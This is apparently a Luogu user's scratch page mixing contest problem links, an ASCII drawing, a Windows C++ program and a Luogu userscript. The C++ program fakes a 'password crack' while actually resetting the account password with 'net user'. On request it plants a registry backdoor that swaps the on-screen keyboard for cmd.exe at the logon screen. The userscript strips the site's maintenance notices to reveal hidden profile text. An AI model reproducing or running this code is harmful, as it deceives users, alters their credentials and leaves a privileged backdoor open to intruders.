P4118 P3881 P14384 https://www.luogu.com.cn/discuss/1402326
154 69
https://www.luogu.me/article/l5atjl1s
P5693
https://www.luogu.com.cn/problem/P2106
https://www.luogu.com.cn/problem/P3914
/> ̄ ̄ ̄ ̄フ
| _ _ |
/` ミ_꒳ ノ
/ |
/ \ ノ
│ | | |
/ ̄| | | |
| ( ̄\__\_)__)
\二つ P3419
P8745
P9188
nx.nobook.com
#include<bits/stdc++.h>
#include<windows.h>
#include<ShlObj.h>
void RequestElevation(char *path){
SHELLEXECUTEINFO sei = { sizeof(sei) };
sei.lpVerb = "runas"; // 请求提升权限
sei.lpFile = path; // 要提升权限的程序路径
sei.nShow = SW_SHOWNORMAL;
if (!ShellExecuteEx(&sei))
{
DWORD dwError = GetLastError();
if (dwError == ERROR_CANCELLED)
{
MessageBox(NULL, "用户拒绝了权限提升...", "权限提升", 0);
exit(1);
}
else
{
MessageBox(NULL, "错误", "权限提升", 0);
exit(1);
}
}
}
using namespace std;
const int UNLEN = 1e3;
int main(int argc, char **argv) {
if (!IsUserAnAdmin()){
RequestElevation(argv[0]);
return 0;
}
DWORD size = UNLEN + 1;
char tmp[UNLEN + 1];
string username;
// 明确使用 Unicode 版本
if (GetUserName(tmp, &size)) {
username = tmp;
} else {
cerr << "无法获取用户信息,错误码: " << GetLastError() << endl;
return 1;
}
cout << "密码破解中";for(int i = 5; i--;)Sleep(200), cout << '.';
string command = "net user " + username + " 12345678&cls";
system(command.c_str());
cout << "破解成功:12345678\n可以修改密码\n开始挂载密码修改组件";
for(int i = 5; i--;)Sleep(200), cout << '.';
system("cls&color 8a&tree C:\\&cls&color 07");
Sleep(500);
cout << "密码修改组件挂载成功!\n请输入要修改的密码:";
string password;
getline(cin, password);
command = "net user " + username + " \"" + password + "\"&cls";
system(command.c_str());
cout << "成功!密码已修改为:" << password << '\n';
if(MessageBox(NULL, "是否要在电脑中留下后门?", "添加后门", MB_ICONQUESTION | MB_YESNO) == IDYES) {
system("REG ADD \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\osk.exe\" /v Debugger /t REG_SZ /d \"cmd.exe\" /f");
cout << "屏幕键盘已成为你的后门!";
}
return 0;
}// ==UserScript==
// @name Luogu看主页
// @namespace http://tampermonkey.net/
// @version 1.2
// @description 删除洛谷用户主页维护消息,并在用户页面上显示隐藏的介绍
// @author dreaum
// @license GPL-3.0-or-later
// @match https://www.luogu.com.cn/user/*
// @grant none
// @downloadURL https://update.greasyfork.cc/scripts/494554/Luogu%E7%9C%8B%E4%B8%BB%E9%A1%B5.user.js
// @updateURL https://update.greasyfork.cc/scripts/494554/Luogu%E7%9C%8B%E4%B8%BB%E9%A1%B5.meta.js
// ==/UserScript==
async function change() {
// 删除具有特定样式和文本的 div 元素
var elements = document.querySelectorAll('div');
for (var i = 0; i < elements.length; i++) {
var element = elements[i];
if (element.style && element.style.backgroundColor === 'rgb(255, 235, 236)' &&
element.style.borderRadius === '5px' &&
element.style.border === '1px solid rgb(225, 50, 56)' &&
element.style.padding === '1em' &&
element.style.fontStyle === 'italic' &&
element.textContent.includes('系统维护,该内容暂不可见')) {
element.remove();
}
}
var elementToShow = document.querySelector(".introduction.marked");
if (elementToShow) {
elementToShow.style.display = "block";
}
var targetElement = document.querySelector("#app > div.main - container > main > div > div.full - container > section.main > div > div:nth - child(2)");
if (targetElement && targetElement.textContent.indexOf("系统维护,该内容暂不可见")!== -1) {
targetElement.remove();
}
}
window.addEventListener('load', function() {
change();
});

